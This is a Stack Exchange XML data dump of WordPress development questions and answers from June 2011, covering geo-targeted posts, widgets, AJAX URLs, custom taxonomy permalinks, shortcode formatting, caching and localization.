  <row Id="20433" PostTypeId="1" CreationDate="2011-06-19T15:52:27.317" Score="1" ViewCount="57" Body="&lt;p&gt;I want to display the articles on my WordPress site depending on the &lt;strong&gt;location of the User&lt;/strong&gt;. I am looking for a &lt;strong&gt;country based&lt;/strong&gt; classification. Is there any already existing plugin that can help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched on the &lt;strong&gt;WP site&lt;/strong&gt; but the &lt;strong&gt;plugins&lt;/strong&gt; available there just &lt;strong&gt;hide a small block of the article&lt;/strong&gt;. What I am looking for is a way to &lt;strong&gt;hide the article completely from the user&lt;/strong&gt;.ie in the normal operation the post isn't visible to the user.&lt;/p&gt;&#xA;" OwnerUserId="6307" LastActivityDate="2011-08-22T16:33:26.893" Title="Geo Targeting articles on a WordPress site" Tags="&lt;plugins&gt;&lt;geo-data&gt;" AnswerCount="2" />
  <row Id="20434" PostTypeId="1" AcceptedAnswerId="20436" CreationDate="2011-06-19T16:21:40.500" Score="2" ViewCount="38" Body="&lt;p&gt;Is there a way (a common one) to duplicate and change a theme widget ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this because, I have this widget that displays the recent news and if we click, it will display ALL news, but I wish to create a new widget that lists the latest articles (posts with a category &quot;articles&quot;), and if we click, that lists ALL articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any widget like this that someone knows about ? If not, where should I look at in order to duplicate and change a theme widget ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="6319" LastActivityDate="2011-06-19T16:59:02.917" Title="Duplicate and change a Theme Widget" Tags="&lt;themes&gt;&lt;widgets&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20435" PostTypeId="2" ParentId="10176" CreationDate="2011-06-19T16:34:30.990" Score="0" ViewCount="" Body="&lt;p&gt;I need the same solution. I've changed all the occurances of comment in my theme but now there is still the Title attribute which is returned by the comments-popup-link function which is in the core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Mukesh &#xA;Thoughtsbin.com&lt;/p&gt;&#xA;" OwnerUserId="6320" LastActivityDate="2011-06-19T16:34:30.990" />
  <row Id="20436" PostTypeId="2" ParentId="20434" CreationDate="2011-06-19T16:59:02.917" Score="2" ViewCount="" Body="&lt;p&gt;Widgets &lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Developing_Widgets&quot; rel=&quot;nofollow&quot;&gt;extend the Widget Class&lt;/a&gt;, search in the theme code for a class that &lt;code&gt;extends WP_Widget&lt;/code&gt;. Copy/Paste it, rename it, and change what you'd like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also look in the file &lt;code&gt;wp-includes/default-widgets.php&lt;/code&gt; and use one of those as a starting point.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-19T16:59:02.917" CommentCount="1" />
  <row Id="20437" PostTypeId="1" AcceptedAnswerId="20442" CreationDate="2011-06-19T17:37:24.163" Score="1" ViewCount="101" Body="&lt;p&gt;am trying out a bit of ajax ( via jquery ) in wordpresss. ... i have everything working correctly but for some reason i have to have the full url to the php handler file even though it's located in the same directory as the script&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$.post('http://full/url/to/file.php', $(&quot;#form&quot;).serialize(), function(data){&#xA;do stuff&#xA;...&#xA;  }); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;why cant i just put &quot;file.php&quot; into that - why does it need the full url .... or more importantly what can i put in there that would work on any site without the end user having to put in the full url every time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps i have read the problem with ajax and the path to the php page but i just got a bit more mixed up - i have also read the ajax in plugins page on the wp codex but i couldnt see a relevant example in there .... i'm suspect this mught have something to do with wp_localise_script but im not sure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="6169" LastActivityDate="2011-06-19T20:55:48.517" Title="ajax in wordpress - path issue" Tags="&lt;plugin-development&gt;&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="20438" PostTypeId="2" ParentId="19814" CreationDate="2011-06-19T17:45:41.990" Score="0" ViewCount="" Body="&lt;p&gt;dont know of anything like this but what you can often do sometimes is to target this specificity of a particular div, for instance if you have a div which is included in a &amp;lt; p &gt; which is included in a &amp;lt; table &gt; &amp;lt; tr &gt; and &amp;lt; td &gt; but the div has no class or id then you can still target it by using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;table tr td p div{&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it will often affect that and only that div .... it's not foolproof but it works a lot of the time .... you often need to use !important though and sometimes you need to go back very far along the page even back as far as the html and body sometimes&#xA;sometimes pseudo like firstchild help too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;good luck&lt;/p&gt;&#xA;" OwnerUserId="6169" LastActivityDate="2011-06-19T17:45:41.990" />
  <row Id="20439" PostTypeId="2" ParentId="19814" CreationDate="2011-06-19T17:56:11.567" Score="1" ViewCount="" Body="&lt;p&gt;Since the admin back-end menus do have &lt;code&gt;li&lt;/code&gt; tags you can use that if you want. but as far as adding &lt;code&gt;divs&lt;/code&gt; you will need to hack the core files directly. That is if you are talking about the back-end.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-19T17:56:11.567" />
  <row Id="20440" PostTypeId="1" CreationDate="2011-06-19T18:28:11.613" Score="3" ViewCount="51" Body="&lt;p&gt;I'm trying to use wordpress post data (eg title, link, custom fields) as a data source for google visualisations.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to take the wordpress data for all posts and visualise using the &quot;table&quot; and &quot;motion&quot; charts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related doc&#xA;&lt;a href=&quot;http://code.google.com/apis/chart/interactive/docs/gallery/table.html&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/apis/chart/interactive/docs/gallery/table.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/apis/chart/interactive/docs/gallery/motion.HTML&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/apis/chart/interactive/docs/gallery/motion.HTML&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I loop though all my posts to create an array that that will work as a data source? I want to get post titles, post urls and associated custom fields for graphing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help!&lt;/p&gt;&#xA;" OwnerUserId="6322" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-19T18:30:25.860" LastActivityDate="2011-08-13T20:38:09.587" Title="Using wordpress post data as input for google visualisations" Tags="&lt;custom-field&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20442" PostTypeId="2" ParentId="20437" CreationDate="2011-06-19T20:55:48.517" Score="1" ViewCount="" Body="&lt;p&gt;it needs a full URL because even though it may be the right location relatively on the back end, it's not on the same on the front end, at the URL where your page is ultimately served.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you're on the right path with &lt;code&gt;wp_localize_script&lt;/code&gt;. you want to enqueue your ajax script, then pass the admin ajax url to &lt;code&gt;wp_localize_script&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method(){&#xA;    wp_enqueue_script( 'my-ajax-request', plugin_dir_url( __FILE__ ) . 'js/my_ajax_script.js', array( 'jquery' ) );&#xA;    wp_localize_script( 'my-ajax-request', 'MyAjax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&#xA;}&#xA;add_action('init', 'my_init_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now within your ajax script you can refer to &lt;code&gt;MyAjax.ajaxurl&lt;/code&gt; for the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.garyc40.com/2010/03/5-tips-for-using-ajax-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Check this post&lt;/a&gt; for a great writeup on properly using ajax in plugins and themes, this is what the WP Codex links to as an example.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-19T20:55:48.517" CommentCount="4" />
  <row Id="20443" PostTypeId="2" ParentId="20429" CreationDate="2011-06-19T23:05:23.540" Score="0" ViewCount="" Body="&lt;h3&gt;Post Search Approach&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pull out all of your posts and pages from the database&lt;/li&gt;&#xA;&lt;li&gt;Iterate through all pages / posts and do a string search on the content - &lt;code&gt;substr_count( 'http://www.yourdomain.com', $page-&amp;gt;content );&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Sum up the counts from all the posts / pages&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will of course miss allot of links made by plugins, navigation etc - hence &quot;half-ass&quot;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Site Scraping Approach&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Collect all the URLs you want to count links from &lt;/li&gt;&#xA;&lt;li&gt;Iterate through the URL list and use &lt;code&gt;file_get_contents( $the_url )&lt;/code&gt; to get the page / post as a string&lt;/li&gt;&#xA;&lt;li&gt;Perform the string search described above and sum them all up&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This approach will double count the links persistent through many pages (navigation and sidebars).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is, I'm sure a much better way to do this - but that's all I could come up with off the top of my head. I'm sure you could tweak either approach to suit the degree of coverage you want.&lt;/p&gt;&#xA;" OwnerUserId="6325" LastActivityDate="2011-06-19T23:05:23.540" />
  <row Id="20444" PostTypeId="1" CreationDate="2011-06-19T23:46:20.073" Score="1" ViewCount="49" Body="&lt;p&gt;If a reader posts a comment on my blog, I'm able to reply to it. But the reply is not appearing on the post page, even after approving the comment. Number of comments to that specific post is 3, i.e., 2 from Readers + 1 Mine(Reply). Here is the example: &lt;a href=&quot;http://www.gadgetcage.com/most-expensive-computers-in-the-world/16264/comment-page-1/#comment-65580&quot; rel=&quot;nofollow&quot;&gt;http://www.gadgetcage.com/most-expensive-computers-in-the-world/16264/comment-page-1/#comment-65580&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I have enabled Threaded Comments. Please help me out.&lt;/p&gt;&#xA;" OwnerUserId="4789" LastEditorUserId="4789" LastEditorDisplayName="" LastEditDate="2011-06-20T15:09:48.153" LastActivityDate="2011-08-19T18:32:24.583" Title="Threaded Comments Feature not working" Tags="&lt;comment-form&gt;&lt;get-comments&gt;&lt;theme-thesis&gt;" AnswerCount="1" />
  <row Id="20445" PostTypeId="2" ParentId="15095" CreationDate="2011-06-20T00:14:19.867" Score="0" ViewCount="" Body="&lt;p&gt;You probably need to setup smtp for it to work. Your host probably has disabled the php mail function try this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-mail-smtp/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-mail-smtp/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-20T00:14:19.867" />
  <row Id="20446" PostTypeId="1" CreationDate="2011-06-20T00:15:12.953" Score="1" ViewCount="57" Body="&lt;p&gt;I'm trying to simplify a set of links by placing them in a drop down list (form style) with a submit button that will take users to the page in question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like it to behave like the drop-down lists on &lt;a href=&quot;http://www.redbubble.com/products/configure/5867346-t-shirt/&quot; rel=&quot;nofollow&quot;&gt;RedBubble&lt;/a&gt; where each selection is also associated with a different image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a newbie to Wordpress and web development in general, I suspect that this may be more of a general coding question than Wordpress specific, but I'm hoping maybe there's a plug in that could help with this. However, if the solution is css or javascript based, I'm more than happy to give it a try. &lt;/p&gt;&#xA;" OwnerUserId="6326" LastActivityDate="2011-08-20T18:32:42.923" Title="Navigational drop-down lists in Wordpress?" Tags="&lt;navigation&gt;&lt;forms&gt;&lt;e-commerce&gt;" AnswerCount="1" />
  <row Id="20447" PostTypeId="1" AcceptedAnswerId="20456" CreationDate="2011-06-20T00:37:11.297" Score="1" ViewCount="109" Body="&lt;p&gt;Is there any way to add %post_type% and %taxonomy% to permalinks? I want to have links from one custom post type have one taxonomy's terms in its permalink, and another post type to use another taxonomy's terms.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-20T04:47:27.553" LastActivityDate="2011-08-19T13:32:12.150" Title="Use different taxonomies in different custom post types' permalinks?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20448" PostTypeId="1" AcceptedAnswerId="20450" CreationDate="2011-06-20T01:06:15.997" Score="1" ViewCount="34" Body="&lt;p&gt;I have a function to instantiate a class to provide var access to other functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_data(){&#xA;global $post,$the_data;&#xA;$postid = get_the_ID();&#xA;$the_data = new MY_Class ( $postid );&#xA;return $the_data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will be called by every post, and each post will call it many times whenever need a var from MY_Class.&#xA;The data is saved in WordPress postmeta and retrived in My_Class. &#xA;Does WP automatically cache the object, or should I find a way to cache it? How?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-06-20T02:27:49.733" Title="Is the object cached?" Tags="&lt;cache&gt;&lt;object&gt;" AnswerCount="1" />
  <row Id="20450" PostTypeId="2" ParentId="20448" CreationDate="2011-06-20T02:27:49.733" Score="1" ViewCount="" Body="&lt;p&gt;If you use the WordPress API to retrieve the metadata, then it should be cached for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do other complex stuff, there is the &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt; for caching data yourself, which will take advantage of whatever object cache you use with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - I should clarify, it'll be loaded for each request unless you use some sort of caching plugin, though it should load only once for each request.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-20T02:27:49.733" CommentCount="1" />
  <row Id="20451" PostTypeId="2" ParentId="2162" CreationDate="2011-06-20T03:07:09.523" Score="0" ViewCount="" Body="&lt;p&gt;Deep integration would make your server load increase enormously.So it is better to create a custom theme for bbpress.If you are new to this then just copy an existing theme into my-templates folder,rename the folder you have copied and do the modification in css and from their customize according to your need.The easiest would be to first include your active wordpress theme in bbpress header and fine tune from their.&lt;/p&gt;&#xA;" OwnerUserId="6328" LastActivityDate="2011-06-20T03:07:09.523" CommentCount="1" />
  <row Id="20453" PostTypeId="1" AcceptedAnswerId="20460" CreationDate="2011-06-20T03:34:14.543" Score="1" ViewCount="96" Body="&lt;p&gt;If you have created shortcodes in Wordpress, you may have noticed that when you get the content of your shortcode, it's wrapped in html paragraph tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why the progammers did that. It seems like a very bad idea to me to add formatting to the actual content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a post that presents this solution :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://donalmacarthur.com/articles/cleaning-up-wordpress-shortcode-formatting/&quot; rel=&quot;nofollow&quot;&gt;http://donalmacarthur.com/articles/cleaning-up-wordpress-shortcode-formatting/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i'm wondering : Is there a solution proposed by the wordpress API itself, or something that i am missing here ?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-06-20T04:15:36.743" Title="How can i remove the paragraph from shortcodes content?" Tags="&lt;shortcode&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20454" PostTypeId="2" ParentId="19626" CreationDate="2011-06-20T03:38:56.167" Score="0" ViewCount="" Body="&lt;p&gt;Make sure you click &quot;Screen Options&quot; and check the checkbox for each menu you want to be able to select. For each user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-_-&lt;/p&gt;&#xA;" OwnerUserId="5719" LastActivityDate="2011-06-20T03:38:56.167" />
  <row Id="20455" PostTypeId="1" CreationDate="2011-06-20T03:42:46.990" Score="-3" ViewCount="67" Body="&lt;p&gt;i've been into wordpress theming quite some time now, designing a pretty complex theme. I've worked a lot with Php with templating in the past, as well as Ruby on Rails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read quite some sources which specify that header.php should contain the head information of html files. This seems fine at first, but later on, one notices that there are divs inside header that end outside of it. This, to my eyes, is quite unacceptable as a programming practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see why there is not a general index file introduced, that yields to a header, a content and blah blah files, like RoR does with partial views. This keeps the main page formatting in one file and it's much less error prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i could just create an external own file that mimics this structure, but the problem is that when single.php would be executed, it would load its own environment(html code) from scratch. This would have me include the same file over and over, for no real reason, a non DRY procedure that is certainly not good coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone found out a way of better organizing the code ? I would be interested in some new approaches. The various wordpress theming tutorials around are useful in learning the basics, but they do not give any attention to good coding. And as you know, for bigger projects, clumsy coding can bring on more and more headaches. Better do it once and for good.&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-06-20T06:13:59.883" ClosedDate="2011-06-20T13:56:25.870" Title="Why Wordpress uses that format for template programming? Any better alternatives?" Tags="&lt;theme-development&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="20456" PostTypeId="2" ParentId="20447" CreationDate="2011-06-20T03:48:04.917" Score="1" ViewCount="" Body="&lt;p&gt;I will try to answer the question in detailed but keeping it as short as possible considering you have achieved the basics.&#xA;Suppose our custom post type one is to be connected to taxonomy one.&#xA;Let's call them 'console'(custom post type) and 'brands'(taxonomy).&#xA;You want to achieve:&#xA; &lt;a href=&quot;http://example.com/console/brands/sony/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/console/brands/sony/&lt;/a&gt;&#xA;&lt;strong&gt;Steps:&lt;/strong&gt;&#xA;&lt;em&gt;Register the taxonomy first and attach it to custom post type console.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$labels = array(&#xA;    'name'                          =&amp;gt; 'Brands',&#xA;    'singular_name'                 =&amp;gt; 'Brand',&#xA;    'search_items'                  =&amp;gt; 'Search Brands',&#xA;    'popular_items'                 =&amp;gt; 'Popular Brands',&#xA;    'all_items'                     =&amp;gt; 'All Brands',&#xA;    'parent_item'                   =&amp;gt; 'Parent Brand',&#xA;    'edit_item'                     =&amp;gt; 'Edit Brand',&#xA;    'update_item'                   =&amp;gt; 'Update Brand',&#xA;    'add_new_item'                  =&amp;gt; 'Add New Brand',&#xA;    'new_item_name'                 =&amp;gt; 'New Brand',&#xA;    'separate_items_with_commas'    =&amp;gt; 'Separate Brands with commas',&#xA;    'add_or_remove_items'           =&amp;gt; 'Add or remove Brands',&#xA;    'choose_from_most_used'         =&amp;gt; 'Choose from most used Brands'&#xA;    );&#xA;&#xA;$args = array(&#xA;    'label'                         =&amp;gt; 'Brands',&#xA;    'labels'                        =&amp;gt; $labels,&#xA;    'public'                        =&amp;gt; true,&#xA;    'hierarchical'                  =&amp;gt; true,&#xA;    'show_ui'                       =&amp;gt; true,&#xA;    'show_in_nav_menus'             =&amp;gt; true,&#xA;    'args'                          =&amp;gt; array( 'orderby' =&amp;gt; 'term_order' ),&#xA;    'rewrite'                       =&amp;gt; array( 'slug' =&amp;gt; 'consoles/brands', 'with_front' =&amp;gt; false ),&#xA;    'query_var'                     =&amp;gt; true&#xA;);&#xA;&#xA;register_taxonomy( 'brands', 'consoles', $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note here that the rewrite key in our $args array. That value is telling WordPress the slug to use in our Custom Taxonomy. We don’t want it prepended with the WordPress permalink front base, which defaults to true, and we want the slug to include our Custom Post Type rewrite slug.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step Two:&lt;/strong&gt;&#xA;Now create the custom post type.I'm not writing the whole code but remember the important parameter here is the 'rewrite'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite'               =&amp;gt; array( 'slug' =&amp;gt; 'consoles', 'with_front' =&amp;gt; false ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;visit your Settings &gt; Permalinks options screen in the WordPress admin to ensure your new permalinks are picked up&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat the steps for second custom post type and taxonomy 2.:)cheers..&#xA;    PS:You need to define has_archive key to have archive page.&lt;/p&gt;&#xA;" OwnerUserId="6241" LastActivityDate="2011-06-20T03:48:04.917" CommentCount="1" />
  <row Id="20457" PostTypeId="2" ParentId="20433" CreationDate="2011-06-20T03:53:55.413" Score="0" ViewCount="" Body="&lt;p&gt;Have you checked this one?&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/gt-geo-targeting/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gt-geo-targeting/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6241" LastActivityDate="2011-06-20T03:53:55.413" CommentCount="1" />
  <row Id="20458" PostTypeId="2" ParentId="20433" CreationDate="2011-06-20T03:58:09.300" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.wp-geolocation.com/install-setup&quot; rel=&quot;nofollow&quot;&gt;WP Geolocation JS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and use JS or Shortcode to hide the content&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-20T03:58:09.300" CommentCount="3" />
  <row Id="20459" PostTypeId="2" ParentId="20360" CreationDate="2011-06-20T04:10:08.510" Score="0" ViewCount="" Body="&lt;p&gt;Thank you edelwater and TheDeadMedic for you answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I will use the WordPress file system to save the files to uploads directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ottopress.com/2011/tutorial-using-the-wp_filesystem/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2011/tutorial-using-the-wp_filesystem/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to ask for ftp login on some wordpress installs, I think I can handle that without loosing the AJAX options page using page overlay like wordpress uploader.&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-06-20T04:10:08.510" />
  <row Id="20460" PostTypeId="2" ParentId="20453" CreationDate="2011-06-20T04:15:36.743" Score="2" ViewCount="" Body="&lt;p&gt;The shortcodes, since they are inserted in the editor, comply to editor rules. Hitting the return in editor will generate a paragraph tag, just like any other text. It's one of the TinyMCE features. To read more about TinyMCE check out &lt;a href=&quot;http://tinymce.moxiecode.com/forum/index.php&quot; rel=&quot;nofollow&quot;&gt;their forum&lt;/a&gt; and especially &lt;a href=&quot;http://tinymce.moxiecode.com/forum/viewtopic.php?id=3878&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-20T04:15:36.743" CommentCount="1" />
  <row Id="20461" PostTypeId="2" ParentId="20455" CreationDate="2011-06-20T04:31:40.503" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure it's a WP question. Maybe you might be interested in asking this in PHP forums. In any case, at least two tags would have to be divided between header and footer, by their very nature - the &quot;html&quot; and the &quot;body&quot;. All the rest is up to you and your HTML construction. Personally I like to leave as less code as possible for single.php, page.php etc, leaving most of the code in header, footer (and sidebars). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see why you consider this unacceptable as a programming practice. After all, PHP is a server language. :shrag: The final HTML is generated.&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-20T04:31:40.503" CommentCount="4" />
  <row Id="20462" PostTypeId="2" ParentId="20397" CreationDate="2011-06-20T04:44:45.747" Score="3" ViewCount="" Body="&lt;p&gt;After looking a little further I found an article on the Webmaster forums page. It has nothing to do with your hosting provider as I earlier suggested. It is 100% Google. The reason is to assist webmasters in protecting their sites by keeping up to date services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They need to make a few improvements since each time I've received a notification it has been about 1 month after I already upgraded. I guess it depends on how often they crawl your site. This is when they discover the version you are using. Another reason they might get it wrong is because I actually exclude the WP version as suggested by many, as a security measure. This could explain why they send me notices, since they don't know what version they must send a notice as standard procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link to the Official Google Webmaster Blog where it explains the service:&#xA;&lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2009/11/new-software-version-notifications-for.html&quot; rel=&quot;nofollow&quot;&gt;http://googlewebmastercentral.blogspot.com/2009/11/new-software-version-notifications-for.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-06-20T05:06:31.663" LastActivityDate="2011-06-20T05:06:31.663" />
  <row Id="20463" PostTypeId="1" AcceptedAnswerId="20474" CreationDate="2011-06-20T04:46:41.663" Score="2" ViewCount="66" Body="&lt;p&gt;Suppose I have a post meta like &quot;Region&quot; it will contain values like &quot;Region 1&quot;, &quot;Region 2&quot; etc. But it should only contain ONE value. Also I would like it to have an archive page. If I use custom taxonomy, users can select more than 1 value. Is it possible to have a drop down type selection instead?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-22T06:19:42.770" Title="Single reusable value for post meta: Custom Taxonomy or Post Meta?" Tags="&lt;custom-taxonomy&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="20464" PostTypeId="1" AcceptedAnswerId="20465" CreationDate="2011-06-20T05:40:11.367" Score="2" ViewCount="28" Body="&lt;p&gt;this is preety much a rookie question.&#xA;In wordpress localization files (.po), does php map files by the line number eg. &lt;code&gt;comments.php:60&lt;/code&gt; or msgid &lt;code&gt;msgid &quot;&amp;lt;span class=\&quot;meta-nav\&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older Comments&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, if I have said string in comments.php in line 60, and move it to line 74, does it still get localized by the msgid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for takeing your time to anwser this noob question.&lt;/p&gt;&#xA;" OwnerUserId="6330" LastActivityDate="2011-06-20T05:51:04.247" Title="Wordpress localization" Tags="&lt;l10n&gt;" AnswerCount="1" />
  <row Id="20465" PostTypeId="2" ParentId="20464" CreationDate="2011-06-20T05:51:04.247" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;if I have said string in comments.php&#xA;  in line 60, and move it to line 74,&#xA;  does it still get localized by the&#xA;  msgid?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes it does. Localization does not depend on line numbers of strings.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-20T05:51:04.247" />
  <row Id="20467" PostTypeId="2" ParentId="20455" CreationDate="2011-06-20T06:13:59.883" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps not the best suggestion but you could make your header and footer (and the rest) include a file where you declare a couple of functions to &quot;write&quot; text. Something in the spirit of Symphony.. Check this out: &lt;a href=&quot;http://symfony.com/doc/2.0/book/from_flat_php_to_symfony2.html&quot; rel=&quot;nofollow&quot;&gt;flatphp2symphony&lt;/a&gt;. You don't need to use their libraries, but the general approach is pretty neat and could be applied to wp themes. &lt;/p&gt;&#xA;" OwnerUserId="6248" LastActivityDate="2011-06-20T06:13:59.883" CommentCount="1" />
  <row Id="20468" PostTypeId="2" ParentId="17718" CreationDate="2011-06-20T06:42:56.823" Score="0" ViewCount="" Body="&lt;p&gt;You can try the &lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD Star rating&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;GD Star Rating plugin allows you to&#xA;  set up rating and review system for&#xA;  posts, pages and comments in your&#xA;  blog.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And you can sort by rating &lt;a href=&quot;http://www.pramudita.com/how-to-sort-post-by-gd-star-rating.html&quot; rel=&quot;nofollow&quot;&gt;like this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-20T06:42:56.823" />
